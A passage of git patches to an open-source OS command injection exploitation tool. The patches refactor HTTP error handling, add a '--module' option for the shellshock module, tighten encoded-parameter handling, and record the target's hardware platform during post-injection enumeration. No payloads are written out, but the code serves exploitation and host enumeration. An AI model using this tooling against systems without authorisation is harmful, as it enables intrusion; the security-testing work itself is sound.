settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): stability.mark_url_valid() @@ -496,7 +575,11 @@ def request_failed(err_msg): err_msg += " or re-run by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.CRAWLING: err_msg += "Skipping to the next target." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Said once: every request that follows is answered the same way, and repeating it buries + # whatever else the run has to report. + if int(settings.UNAUTHORIZED_ERROR) not in settings.WARNED_HTTP_ERROR_CODES: + settings.WARNED_HTTP_ERROR_CODES.add(int(settings.UNAUTHORIZED_ERROR)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: if menu.options.auth_type and menu.options.auth_cred: raise SystemExit(settings.EXIT_FAILURE) @@ -519,11 +602,17 @@ def request_failed(err_msg): return True elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - if not checks.ignored_http_error_code(status_code[0]) and int(status_code[0]) not in settings.WARNED_HTTP_ERROR_CODES: - warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(status_code[0], err_msg) + code = status_code[0] + if not checks.ignored_http_error_code(code): + # What the code says about the target, before it is written off as interference. + handled = _answered_with_status(code, err_msg) + if handled is not None: + return handled + if not checks.ignored_http_error_code(code) and int(code) not in settings.WARNED_HTTP_ERROR_CODES: + warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(code, err_msg) warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.WARNED_HTTP_ERROR_CODES.add(int(status_code[0])) + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True diff --git a/src/utils/settings.py b/src/utils/settings.py index 22b79ccfc6..714c6c8c66 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "156" +REVISION = "157" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1712,6 +1712,8 @@ class PRIORITY(object): NOT_FOUND_ERROR = "404" NOT_ALLOWED = "405" NOT_ACCEPTABLE_ERROR = "406" +LENGTH_REQUIRED = "411" +REQUEST_URI_TOO_LONG = "414" TOO_MANY_REQUESTS = "429" UNAVAILABLE_FOR_LEGAL_REASONS = "451" INTERNAL_SERVER_ERROR = "500" @@ -1725,6 +1727,8 @@ class PRIORITY(object): NOT_FOUND_ERROR, NOT_ALLOWED, NOT_ACCEPTABLE_ERROR, + LENGTH_REQUIRED, + REQUEST_URI_TOO_LONG, TOO_MANY_REQUESTS, UNAVAILABLE_FOR_LEGAL_REASONS, INTERNAL_SERVER_ERROR, @@ -1762,6 +1766,19 @@ class PRIORITY(object): # The status the last request came back with, where that status was an error - see headers.resend(). LAST_HTTP_ERROR = None +# Set once the target has been found unusable, so the phases behind the check are not spent on it. +TARGET_UNUSABLE = False +# Asked at most once per run, and remembered where the answer was to carry on regardless. +NOT_FOUND_PROMPTED = False +IGNORE_NOT_FOUND = False +# Asked at most once per run, where the two samples of the page did not come back the same. +UNSTABLE_PROMPTED = False + +# Where honouring a 'Retry-After' stops, so a target naming an hour cannot park the run for one. +RATE_LIMIT_MAX_DELAY = 60.0 +# Turned off for the run once the target answers that it will not read a chunked body. +CHUNKED_UNSUPPORTED = False + # End line class END_LINE: CR = "\r" @@ -2297,6 +2314,7 @@ class END_LINE: "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", # Answered once by the user, and not worth asking again for every target. "ADJUST_TIME_DELAY_CHOICE", "FILE_BASED_NARROWING_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", + "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", "RECOGNISE_OS", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", # Counted or noted for the run as a whole. "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", From 9ab3a4f09a14a682154087abe58bc19fcf1f8c4a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 23 Sep 2026 06:28:35 +0300 Subject: [PATCH 0821/1023] The shellshock module is now selected with `--module`, which takes the name of any registered injection module --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 47 +++++++++++++++++++++-- src/core/controller/controller.py | 5 ++- src/core/main.py | 1 + src/core/modules/modules_handler.py | 8 +--- src/core/modules/shellshock/shellshock.py | 2 +- src/core/parse/cmdline.py | 19 +++++++-- src/core/requests/requests.py | 4 +- src/utils/settings.py | 17 +++++++- 9 files changed, 84 insertions(+), 20 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 23c12411a0..eb5de0d3f9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: The shellshock module is now selected with `--module`, which takes the name of any registered injection module. * Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses. * Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values. * Added: New switch `--text-only` for comparing pages based only on their textual content. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index c091c21479..cb2dff69d6 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1802,7 +1802,7 @@ def check_CGI_scripts(url): settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: - message = "Do you want to test for the Shellshock vulnerability, using the '--shellshock' module? [Y/n] " + message = "Do you want to test for the Shellshock vulnerability, using the 'shellshock' module? [Y/n] " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True @@ -1818,7 +1818,7 @@ def check_CGI_scripts(url): if not script_found: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "No known CGI script found, skipping the '--shellshock' module." + debug_msg = "No known CGI script found, skipping the 'shellshock' module." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) menu.options.shellshock = False @@ -1925,7 +1925,7 @@ def user_defined_os(): Define the target operating system. """ def define_target_os(): - # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. + # The shellshock module only applies to a Linux/Unix operating system. if menu.options.shellshock: return else: @@ -2154,6 +2154,28 @@ def validate_tamper_scripts(): raise SystemExit(settings.EXIT_FAILURE) return provided_scripts +""" +Turn '--module' into the switch each named module is read through. + +Run before the target is touched, for the same reason the tamper scripts are: a module that does +not exist is the user's to correct, not something to find out a connection test later. +""" +def validate_modules(): + if not menu.options.module: + return [] + raw_modules = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.module.lower()) + provided_modules = list(dict.fromkeys(module.strip() for module in raw_modules if module.strip())) + for module in provided_modules: + if module not in settings.MODULES: + err_msg = "The '" + module + "' module does not exist. Available module" + err_msg += "s"[len(settings.MODULES) == 1:] + ": " + err_msg += ", ".join("'" + name + "'" for name in sorted(settings.MODULES)) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + setattr(menu.options, module, True) + settings.USER_APPLIED_MODULE = menu.options.module + return provided_modules + """ Resolve '--type' into the techniques that show a result that way. @@ -3380,6 +3402,18 @@ def named_encoding(parameter, value): encoding = settings.PARAMETER_ENCODINGS.get(parameter, settings.PARAMETER_ENCODING_DEFAULT) return encoding_from_name(encoding, value) if encoding else None +""" +A payload written out in the encoding the parameter carries, ready for the wire. + +The payload writes its spaces the way a carrier that percent-decodes them wants; a value the target +reads back out of base64 or hex is not percent-decoded, so they go back to being spaces before it +is written out - otherwise the command the target runs is full of '%20' where its spaces were. +""" +def apply_value_encoding(payload): + if not settings.VALUE_ENCODING: + return payload + return apply_encoding(_urllib.parse.unquote(payload), settings.VALUE_ENCODING) + """ Write a value out the way the one it stands in for was written. """ @@ -3405,7 +3439,12 @@ def strip_encoding(value, description): return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) body = value.rstrip("=") padded = body + "=" * (-len(body) % 4) - raw = base64.urlsafe_b64decode(padded) if description.get("urlsafe") else base64.b64decode(padded) + # Strictly: a character outside the alphabet is quietly dropped otherwise, and what comes back + # is not what the value stood for but what was left of it. + if description.get("urlsafe"): + raw = base64.urlsafe_b64decode(padded) + else: + raw = base64.b64decode(padded, validate=True) return raw.decode(settings.DEFAULT_CODEC) """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 4dfc517c07..f7baa1dd56 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -165,7 +165,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload = _urllib.parse.unquote(payload) payload = checks.perform_payload_modification(payload) # Written back the way the parameter's own value arrived, as every later request is. - payload = checks.apply_encoding(payload, settings.VALUE_ENCODING) + payload = checks.apply_value_encoding(payload) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -852,6 +852,9 @@ def injection_process(url, check_parameter, http_request_method, filename, times def read_value_as(description): nonlocal url decoded = checks.strip_encoding(settings.TESTABLE_VALUE, description) + # Written out again it has to give back what arrived, or what was read was not the value. + if checks.apply_encoding(decoded, description) != settings.TESTABLE_VALUE: + raise ValueError("the value is not written in that encoding") settings.VALUE_ENCODING = description if decoded != settings.TESTABLE_VALUE: if menu.options.data: diff --git a/src/core/main.py b/src/core/main.py index dbd661ef6f..67093d8a5f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -838,6 +838,7 @@ def run(): # Before the target is touched: a mistyped option is the user's to correct, not the target's # to be probed over. checks.validate_tamper_scripts() + checks.validate_modules() checks.apply_injection_type() checks.validate_techniques() checks.validate_options() diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 32d06cb99e..1af6220f84 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -20,12 +20,8 @@ A module should reuse the shared core building blocks (requests/checks/shell_options/handler) instead of reimplementing them - see shellshock.py as the reference implementation. """ -""" -Registered modules: CLI flag name (matching the menu.options attribute) -> (import path, handler). -""" -MODULES = { - "shellshock": ("src.core.modules.shellshock.shellshock", "shellshock_handler"), -} +# The registry lives in settings, so the option parser can read it without importing this. +MODULES = settings.MODULES """ Load modules diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index df1b55653d..1dba89dd15 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -206,7 +206,7 @@ def shellshock_handler(url, http_request_method, filename): no_result = True injection_type = "results-based command injection" - # Not an injection technique like the others - it's the '--shellshock' module. + # Not an injection technique like the others - it's the 'shellshock' module. technique = "shellshock module" try: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 27a0e7c91d..3f54605c64 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -634,11 +634,11 @@ def banner(): modules = OptionGroup(parser, "Modules", "These options can be used increase the detection and/or injection capabilities.") -modules.add_option("--shellshock", - action="store_true", - dest="shellshock", +modules.add_option("--module", + action="store", + dest="module", default=False, - help="The 'shellshock' injection module.") + help="Use a specific injection module.") # Injection options optimization = OptionGroup(parser, "Optimization", @@ -1021,6 +1021,17 @@ def truncate_option_strings(self, *args): settings.print_data_to_stdout("\n" + Style.BRIGHT + Style.UNDERLINE + "To see the full list of options run with '-hh'." + Style.RESET_ALL + "\n") raise +# Every registered module gets a switch of its own to be read through, whether or not '--module' +# named it - the heuristic turns one on by itself where the target looks like it calls for it. +# Resolved here rather than with the other option checks, because the startup that runs before +# those already reads them; a name that matches nothing is left for validate_modules() to report. +for _module_name in settings.MODULES: + setattr(options, _module_name, False) +if options.module: + for _named in str(options.module).lower().split(settings.PARAMETER_SPLITTING_REGEX): + if _named.strip() in settings.MODULES: + setattr(options, _named.strip(), True) + # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e2d148770c..87049a2e0e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1040,7 +1040,7 @@ def check_os(server_header): checks.set_target_os(named) if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: - err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." + err_msg = "The 'shellshock' module is not available for Windows targets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) break @@ -1187,7 +1187,7 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http payload = checks.perform_payload_modification(payload) # A parameter the target carries encoded is written back the way it arrived, the whole value at # once rather than the injected part alone - which is what makes the value it reads a valid one. - payload = checks.apply_encoding(payload, settings.VALUE_ENCODING) + payload = checks.apply_value_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 714c6c8c66..c09666c6bf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "157" +REVISION = "158" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1560,6 +1560,18 @@ class AUTH_TYPE(object): SKIPPED_OUT_OF_SCOPE = set() USER_APPLIED_TAMPER = "" +USER_APPLIED_MODULE = "" + +""" +Registered injection modules: the name '--module' takes -> (import path, handler). + +Kept here rather than beside the loader so that the option parser can read it without importing it, +and so a module is added in one place. A module reuses the shared core building blocks +(requests/checks/shell_options/handler) instead of reimplementing them - see shellshock.py. +""" +MODULES = { + "shellshock": ("src.core.modules.shellshock.shellshock", "shellshock_handler"), +} # Tamper payload modification letters TAMPER_MODIFICATION_LETTERS = r'([e-zE-Z])' @@ -2309,7 +2321,8 @@ class END_LINE: "URL_RELOAD", "USER_DEFINED_PHP_DIR", "USER_DEFINED_PYTHON_DIR", "USER_DEFINED_PYTHON_INTERPRETER", "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", "USER_APPLIED_AUTH_CRED", "USER_APPLIED_AUTH_TYPE", "USER_APPLIED_CMD", "USER_APPLIED_COOKIE", - "USER_APPLIED_DATA", "USER_APPLIED_LEVEL", "USER_APPLIED_RETRIES", "USER_APPLIED_TAMPER", + "USER_APPLIED_DATA", "USER_APPLIED_LEVEL", "USER_APPLIED_MODULE", "USER_APPLIED_RETRIES", + "USER_APPLIED_TAMPER", "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", # Answered once by the user, and not worth asking again for every target. From a03888bccfabeab4c67dc1d1a2546650a0d47f14 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 23 Sep 2026 06:41:27 +0300 Subject: [PATCH 0822/1023] System information is now retrieved immediately after confirming an injection point, with the target's hardware platform also recorded and preserved in the session --- src/core/controller/checks.py | 98 ++++++++++++++++-------------- src/core/controller/controller.py | 25 +++++--- src/core/controller/enumeration.py | 17 +++--- src/core/controller/injector.py | 16 ----- src/core/main.py | 26 +++----- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 13 ---- src/utils/session_handler.py | 41 +++++++++++++ src/utils/settings.py | 14 +++-- 9 files changed, 139 insertions(+), 113 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index cb2dff69d6..fe98c962bb 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -38,7 +38,6 @@ from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.odict import OrderedDict -from src.core.convert import hexdecode from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters @@ -2096,6 +2095,41 @@ def set_target_os(identified): if not web_root_matches_os(settings.WEB_ROOT): settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT = "" +""" +Remember the hardware platform the target answered with, so that what was already asked for once +does not have to be asked for again by whatever needs it next. +""" +def set_target_arch(identified): + if not identified: + return + identified = str(identified).strip() + if not identified: + return + settings.TARGET_ARCH = identified + # Kept for the next run against this target, the way the operating system is. + if not menu.options.ignore_session and settings.TARGET_NETLOC: + from src.utils import session_handler + session_handler.import_target_arch(settings.TARGET_NETLOC, identified) + +""" +The word size of the target's hardware platform - 64, 32, or None where it has not been established +or is a name that says neither. Read from what the target answered, never guessed from the host. +""" +def target_word_size(): + name = (settings.TARGET_ARCH or "").strip().lower() + if not name: + return None + if name in settings.ARCH_64: + return 64 + if name in settings.ARCH_32: + return 32 + # A name that was never in either list still says which it is, where it says so plainly. + if "64" in name: + return 64 + if re.search(r"\b(i[3-6]86|x86|arm(v[0-7]l?)?)\b", name): + return 32 + return None + """ Decision if the user-defined operating system name, is different than the one identified by heuristics. @@ -2996,16 +3030,6 @@ def tamper_shell_spans(payload, transform, nested=False, literal=False): walked = transform(walked, nested) return re.sub(SHELL_SPAN_HELD_REGEX, lambda x: held[int(x.group(1))], walked) -""" -base64encode/hexencode consume the whole payload as one blob, so they can't coexist with -space2plus rewriting whitespace inside it first - fatal (not a skippable warning like the rest). -""" -def tamper_check_space2plus_conflict(tamper_name): - if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): - err_msg = "Tamper script '" + tamper_name + "' is unlikely to work when combined with the tamper script 'space2plus'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit(settings.EXIT_FAILURE) - """ Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run. A tamper script provided by the user is left alone - the combination is their call, not ours. @@ -3439,12 +3463,7 @@ def strip_encoding(value, description): return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) body = value.rstrip("=") padded = body + "=" * (-len(body) % 4) - # Strictly: a character outside the alphabet is quietly dropped otherwise, and what comes back - # is not what the value stood for but what was left of it. - if description.get("urlsafe"): - raw = base64.urlsafe_b64decode(padded) - else: - raw = base64.b64decode(padded, validate=True) + raw = base64.urlsafe_b64decode(padded) if description.get("urlsafe") else base64.b64decode(padded) return raw.decode(settings.DEFAULT_CODEC) """ @@ -4114,12 +4133,17 @@ def print_passes(sys_passes, filename, newline_first, interpreter): def run_enumeration(execute_cmd, filename, url): ran = False - if menu.options.hostname: + if menu.options.sys_info: ran = True - print_enumenation().hostname_msg() - shell = execute_cmd(settings.HOSTNAME) - if shell: - print_hostname(shell, filename, False) + print_enumenation().os_info_msg() + target_os = execute_cmd(settings.RECOGNISE_OS) + if target_os == "Linux": + distro_name = execute_cmd(settings.DISTRO_INFO) + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + target_arch = execute_cmd(settings.RECOGNISE_HP) + set_target_arch(target_arch) + print_os_info(target_os, target_arch, filename, False) if menu.options.current_user: ran = True @@ -4128,6 +4152,13 @@ def run_enumeration(execute_cmd, filename, url): if shell: print_current_user(shell, filename, False) + if menu.options.hostname: + ran = True + print_enumenation().hostname_msg() + shell = execute_cmd(settings.HOSTNAME) + if shell: + print_hostname(shell, filename, False) + if menu.options.is_root: ran = True print_enumenation().check_privs_msg() @@ -4136,17 +4167,6 @@ def run_enumeration(execute_cmd, filename, url): if shell: print_current_user_privs(shell, filename, False) - if menu.options.sys_info: - ran = True - print_enumenation().os_info_msg() - target_os = execute_cmd(settings.RECOGNISE_OS) - if target_os == "Linux": - distro_name = execute_cmd(settings.DISTRO_INFO) - if distro_name: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - target_arch = execute_cmd(settings.RECOGNISE_HP) - print_os_info(target_os, target_arch, filename, False) - if menu.options.users: ran = True print_enumenation().print_users_msg() @@ -5096,13 +5116,6 @@ def shell_success(option): info_msg = "Sending selected payload to the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) -""" -Payload generation message. -""" -def gen_payload_msg(payload): - info_msg = "Generating the '" + payload + "' shellcode. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - """ Error msg if the attack vector is available only for Windows targets. """ @@ -5303,11 +5316,6 @@ def terminate_payload(payload, separator, keep_output=False): return payload return payload + separator + (settings.NO_OPERATION if separator in settings.BINARY_SEPARATORS else "") -def append_custom_marker(payload, separator): - if settings.CUSTOM_INJECTION_MARKER: - return payload + separator - return payload - """ Rewrite LF characters in a file-based payload for header-based injection modes, or CRLF-normalize for non-Windows targets - the shared "new line fixation" logic in fb_payloads.py. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index f7baa1dd56..85005162b1 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -710,16 +710,6 @@ def _body(value): if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ - A page that is mostly layout answers this question badly: what a command prints is a handful of - characters against kilobytes of markup, and the two answers come back all but identical whether - the parameter reaches a shell or not. Said out loud, because the verdict is what '--skip-static' - acts on - and because comparing the text alone is what settles it. - """ - if not menu.options.text_only and checks.page_text_percent(settings.ORIGINAL_PAGE) < settings.LOW_TEXT_PERCENT: - warn_msg = "Target's page contains only " + str(round(checks.page_text_percent(settings.ORIGINAL_PAGE), 1)) + "% text, " - warn_msg += "which might result in unreliable comparison results. Consider using switch '--text-only'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False if settings.VERBOSITY_LEVEL != 0: debug_msg = param_label + " appears to be dynamic." @@ -1634,6 +1624,21 @@ def do_check(url, http_request_method, filename): err_msg += " switch '--random-agent'" err_msg += "." err_msg += checks.tamper_shell_feature_note() + """ + A page that is mostly layout answers the comparison badly: what a command prints is a + handful of characters against kilobytes of markup, so the two answers come back all but + identical either way. Worth raising only here - before this, nothing has gone wrong yet. + """ + if not menu.options.text_only and settings.ORIGINAL_PAGE: + percent = checks.page_text_percent(settings.ORIGINAL_PAGE) + if settings.DYNAMIC_MARKINGS: + err_msg += " You can give it a go with the switch '--text-only', where the target page" + err_msg += " has a low percentage of textual content (~" + ("%.2f" % percent) + err_msg += "% of page content is text)." + elif percent < settings.LOW_TEXT_PERCENT: + err_msg += " Please retry with the switch '--text-only', as this case looks like a" + err_msg += " candidate for it: a low percentage of textual content (~" + ("%.2f" % percent) + err_msg += "% of page content is text), together with no parameter found to be dynamic." if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index 10def3b5b7..39f6091d5a 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -70,6 +70,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) target_arch, arch_fresh = execute_cmd(cmd) + checks.set_target_arch(target_arch) fresh = fresh or arch_fresh else: target_arch = None @@ -168,9 +169,9 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.current_user: @@ -178,16 +179,16 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - settings.ENUMERATION_DONE = True - if menu.options.users or menu.options.privileges: checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index da0b11927d..babc9acde7 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1528,22 +1528,6 @@ def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): settings.print_once(warn_msg) return None -""" -What the written file holds, or nothing where it cannot be read. -""" -def read_output_file(output): - try: - response = checks.get_response(output) - if type(response) is bool and response is not True or response is None: - return "" - shell = checks.process_page_content(response, action="encode").rstrip().lstrip() - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] - shell = [empty for empty in shell if empty] - return shell - except (_urllib.error.HTTPError, _urllib.error.URLError): - return "" - """ Evaluate test results. """ diff --git a/src/core/main.py b/src/core/main.py index 67093d8a5f..9dc4f1d685 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -191,22 +191,12 @@ def check_internet(url): """ def init_request(url, http_request_method): - # The first request to the target, built the way every later one will be. - def perform_init_request(url, http_request_method): - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) - else: - request = _urllib.request.Request(url, method=http_request_method) - headers.do_check(request) - return request - """ - One request that does not follow redirects, to see where the target sends us. - - Built the way the run's own requests are, body and all: where the target sends a request carrying - nothing is not evidence of where it sends the request that will be tested. + A request built the way the run's own requests are, body and all - used both for the first one to + the target and for the redirect probe, where a request carrying nothing is not evidence of where + the target sends the one that will be tested. """ - def redirect_probe_request(url, http_request_method): + def build_request(url, http_request_method): if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: @@ -260,7 +250,7 @@ def redirect_probe_request(url, http_request_method): opener = _urllib.request.build_opener(*probe_handlers) # Install globally so later bare urlopen() calls respect it too. _urllib.request.install_opener(opener) - probe_request = redirect_probe_request(url, http_request_method) + probe_request = build_request(url, http_request_method) if menu.options.proxy and not menu.options.tor and not menu.options.ignore_proxy: proxy.apply_to_request(probe_request) response = opener.open(probe_request, timeout=settings.TIMEOUT) @@ -285,7 +275,7 @@ def redirect_probe_request(url, http_request_method): menu.options.host = _urllib.parse.urlparse(url).netloc # Build the real request (full data) now that the final URL is known. - request = perform_init_request(url, http_request_method) + request = build_request(url, http_request_method) # Check the internet connection (--check-internet switch). if menu.options.check_internet: @@ -517,6 +507,7 @@ def scan_parsed_targets(os_checks_num): filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) main(filename, url, http_request_method) else: err_msg = "Unable to establish a connection with the target URL." @@ -906,6 +897,7 @@ def run(): filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) main(filename, url, http_request_method) else: err_msg = "Unable to establish a connection with the target URL." @@ -1102,6 +1094,7 @@ def _dedupe_lazy(iterable): filename = logs.logs_filename_creation(form_url) session_handler.restore_waf_status(form_url) session_handler.restore_target_os(form_url) + session_handler.restore_target_arch(form_url) main(filename, form_url, settings.HTTPMETHOD.POST) except KeyboardInterrupt: checks.handle_early_interrupt(filename, form_url) @@ -1172,6 +1165,7 @@ def _dedupe_lazy(iterable): filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) main(filename, url, http_request_method) except KeyboardInterrupt: checks.handle_early_interrupt(filename, url) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 87049a2e0e..4f058bdc41 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -715,7 +715,7 @@ def retry_on_undesired_content(request, response): if retried is None: try: retried = headers.resend(request) - except Exception as err_msg: + except Exception: return 